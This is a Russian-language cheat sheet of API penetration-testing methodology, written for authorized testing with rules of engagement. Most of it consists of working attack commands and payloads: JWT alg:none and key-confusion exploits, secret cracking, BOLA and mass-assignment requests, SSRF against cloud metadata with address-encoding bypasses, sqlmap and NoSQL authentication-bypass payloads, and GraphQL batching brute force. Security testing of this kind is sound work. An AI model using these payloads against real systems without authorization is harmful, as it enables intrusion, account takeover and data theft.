ATTACKING WEB APIs

# Высокоуровневый поток API-пентеста
discover   → найти endpoint'ы: swagger/openapi, JS, mobile, проксирование
map        → построить карту: ресурсы, методы, роли, параметры
authn      → разобрать механизм токенов (JWT/OAuth/key), искать слабости
authz      → BOLA (объекты) и BFLA (функции) — две учётки/две роли
props      → mass assignment, утечка лишних полей в ответах
inject     → SSRF, SQL/NoSQL, command — в JSON-полях и параметрах
abuse      → лимиты, дорогие запросы, автоматизация бизнес-флоу
report     → воспроизводимый PoC: запрос, ответ, влияние, фикс

# Типовые пути к OpenAPI/Swagger/документации
/openapi.json   /swagger.json   /swagger/v1/swagger.json
/v2/api-docs    /api-docs        /swagger-ui/        /redoc
/graphql        /graphiql        /altair            /.well-known/

# Быстрый перебор кандидатов
ffuf -w api-wordlist.txt -u https://target/FUZZ -mc 200,401,403

# GraphQL: проверка introspection одним запросом
curl -s https://target/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{__schema{types{name}}}"}'

# Сбор путей из JS приложения
katana -u https://target -jc -d 3 | grep -Ei '/api|/v[0-9]|/graphql'

# Поиск endpoint'ов прямо в JS-файлах
python3 xnLinkFinder.py -i https://target -sf target -d 3

# Строки и ключи из APK
jadx -d out app.apk && grep -rEi 'https?://|api[_-]?key|secret' out/

# mitmproxy для мобильного / десктоп-клиента
mitmweb --listen-port 8080
# на устройстве: прокси на IP машины:8080, поставить CA mitmproxy

# Burp: Proxy -> Target -> Site map даёт дерево endpoint'ов
# Сложность с мобильными — certificate pinning (обход вне scope без согласования)

# Kiterunner — заточен под API-маршруты (учитывает методы и параметры)
kr scan https://target -w routes-large.kite -x 20

# ffuf по числовым версиям и типовым ресурсам
ffuf -w api-objects.txt -u https://target/api/v1/FUZZ -mc all -fc 404

# jwt_tool — основной швейцарский нож по JWT
python3 jwt_tool.py $TOKEN -M at                 # все автоатаки (alg none, и т.д.)
python3 jwt_tool.py $TOKEN -X a                  # exploit: alg:none
python3 jwt_tool.py $TOKEN -X k -pk public.pem    # RS256->HS256 confusion

# Брут слабого HS256-секрета
hashcat -a 0 -m 16500 jwt.txt rockyou.txt

# Ручная правка claims (например, role/sub) и переподпись известным секретом
python3 jwt_tool.py $TOKEN -T -S hs256 -p 'secret'

# Поиск утёкших ключей в исходниках/истории
trufflehog git file://. --only-verified
gitleaks detect -s . -v

# Проверка флагов cookie
curl -si https://target/api/login -d '...' | grep -i set-cookie
# ищем отсутствие HttpOnly / Secure / SameSite

# Учётка A смотрит свой заказ
curl -s https://target/api/orders/1001 -H "Authorization: Bearer $TOKEN_A"

# Тот же токен A пробует чужой объект — должно быть 403/404, а не 200
curl -s https://target/api/orders/1002 -H "Authorization: Bearer $TOKEN_A"

# Перебор диапазона числовых ID и фильтрация по размеру ответа
ffuf -w ids.txt -u https://target/api/orders/FUZZ \
  -H "Authorization: Bearer $TOKEN_A" -mc 200 -ac

# Обычный пользователь пробует админ-эндпоинт
curl -s -X POST https://target/api/admin/users \
  -H "Authorization: Bearer $TOKEN_USER" \
  -H 'Content-Type: application/json' \
  -d '{"email":"x@x.tld","role":"admin"}'

# Смена метода: GET разрешён, а DELETE/PUT — нет
curl -s -X DELETE https://target/api/users/1002 -H "Authorization: Bearer $TOKEN_USER"

# Вариации, которые по-разному нормализуют прокси и бэкенд
/api/admin/users        # базовый
/api//admin/users       # двойной слэш
/api/Admin/users        # регистр
/api/admin%2fusers      # url-encoded слэш
/api/admin/users/       # trailing slash
/api/admin/users#       # обрезка фрагментом

# Смотрим полный JSON ответа, а не отрендеренный UI
curl -s https://target/api/users/me -H "Authorization: Bearer $TOKEN" | jq .

# Тревожные поля в ответе:
#   password_hash, is_admin, internal_notes, balance,
#   otp_secret, ssn, mfa_enabled, role, discount_eligible

# Легитимный запрос на обновление профиля
curl -s -X PATCH https://target/api/users/me \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d '{"displayName":"Bob"}'

# Тот же запрос + «лишние» поля — пробуем привилегированную правку
curl -s -X PATCH https://target/api/users/me \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d '{"displayName":"Bob","role":"admin","isVerified":true,"balance":99999}'

# 1. Подтверждение: сервер ходит на наш collaborator/interactsh
curl -s -X POST https://target/api/fetch -H "Authorization: Bearer $TOKEN" \
  -d '{"url":"http://YOUR-OOB-HOST/probe"}'

# 2. Облачные метаданные (только в авторизованной лабе/своём облаке)
#    AWS IMDSv2 требует токен; пробуем classic IMDS:
{"url":"http://169.254.169.254/latest/meta-data/"}
#    GCP:
{"url":"http://metadata.google.internal/computeMetadata/v1/"}

# 3. Внутренняя сеть
{"url":"http://localhost:8080/actuator"}   {"url":"http://127.0.0.1:6379"}

# Альтернативные записи 127.0.0.1
http://127.1            http://0x7f000001        http://2130706433
http://[::1]            http://0177.0.0.1         http://localtest.me

# Обход через редирект на своём хосте (302 -> internal)
{"url":"http://YOUR-HOST/redirect?to=http://169.254.169.254/"}

# DNS rebinding / схемы (если допускает парсер)
gopher://  dict://  file://  — расширяют поверхность за пределы http

# Сохраняем запрос из Burp в req.txt, отдаём sqlmap
sqlmap -r req.txt --batch --level 3 --risk 2

# Точечно по JSON-полю (* помечает точку инъекции)
sqlmap -u https://target/api/search --method POST \
  --data '{"q":"test*"}' --headers="Authorization: Bearer $TOKEN"

# Обход аутентификации оператором $ne / $gt
{"username":{"$ne":null},"password":{"$ne":null}}

# Извлечение через $regex (булева слепая)
{"username":"admin","password":{"$regex":"^a"}}

# Оператор-инъекция в query: ?user[$ne]= (urlencoded)
GET /api/items?owner[$ne]= HTTP/1.1

# Проверка наличия rate-limit (ищем 429 и заголовки X-RateLimit-*)
for i in $(seq 1 200); do
  curl -s -o /dev/null -w "%{http_code}\n" \
    https://target/api/login -d '{"u":"a","p":"b"}'
done | sort | uniq -c

# Гигантская пагинация
curl -s "https://target/api/items?limit=10000000&page=1" -H "Authorization: Bearer $TOKEN"

# Single-packet attack / параллельная отправка одинаковых запросов
# Burp Repeater -> группа вкладок -> "Send group in parallel"
# либо turbo-intruder для точной синхронизации
# Цель: применить один купон/баланс/инвайт несколько раз одновременно

# Полный introspection-запрос (сокращённо)
curl -s https://target/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{__schema{queryType{name} mutationType{name} types{name fields{name}}}}"}'

# Визуализация схемы
graphql-voyager   # строит граф типов из introspection
clairvoyance      # восстановление схемы, когда introspection выключен

# BOLA: чужой id в аргументе резолвера
{"query":"{ user(id: 1002){ email phone } }"}

# BFLA: вызов админ-мутации обычным токеном
{"query":"mutation{ deleteUser(id:1002){ ok } }"}

# Утечка лишних полей — запрашиваем чувствительные поля типа напрямую
{"query":"{ me { id email passwordHash isAdmin } }"}

# Глубокая вложенность через циклическую связь типов
{"query":"{ posts { author { posts { author { posts { id }}}}}}"}

# Batching: много операций в одном HTTP-запросе (обход лимита логина/OTP)
[{"query":"mutation{login(u:\"a\",p:\"1\"){t}}"},
 {"query":"mutation{login(u:\"a\",p:\"2\"){t}}"}]

# Алиасы: один запрос -> сотни вызовов одного поля
{"query":"{ a:login(u:\"x\",p:\"1\"){t} b:login(u:\"x\",p:\"2\"){t} }"}

# Проверка отражения Origin в CORS
curl -si https://target/api/me -H "Origin: https://evil.tld" \
  -H "Authorization: Bearer $TOKEN" | grep -i access-control

# Spring Actuator и прочие дефолтные панели
curl -s https://target/actuator   https://target/actuator/env

# Перебор версий — старая версия может обходить новые проверки
/api/v1/users   /api/v2/users   /api/v3/users   /api/beta/   /api/internal/

# Поддомены и теневые окружения
subfinder -d target.tld | httpx -title -status-code
# dev-api., staging-api., old-api., legacy. — частые кандидаты

1. Scope     подтвердить RoE, домены, лимиты, окно тестирования
2. Map       discover endpoint'ы (schema/JS/proxy/brute), собрать карту
3. Identity  разобрать токены; завести 2+ учётки разных ролей
4. AuthZ     BOLA + BFLA через Autorize и ручные пары запросов
5. Props     data exposure -> собрать поля -> mass assignment
6. Inject    SSRF, SQL/NoSQL, command — по каждому полю, OOB-проверка
7. Abuse     rate-limit, дорогие запросы, бизнес-флоу, race
8. Infra     CORS/заголовки/версии/теневые хосты
9. Report    воспроизводимый PoC: запрос, ответ, влияние, ремедиация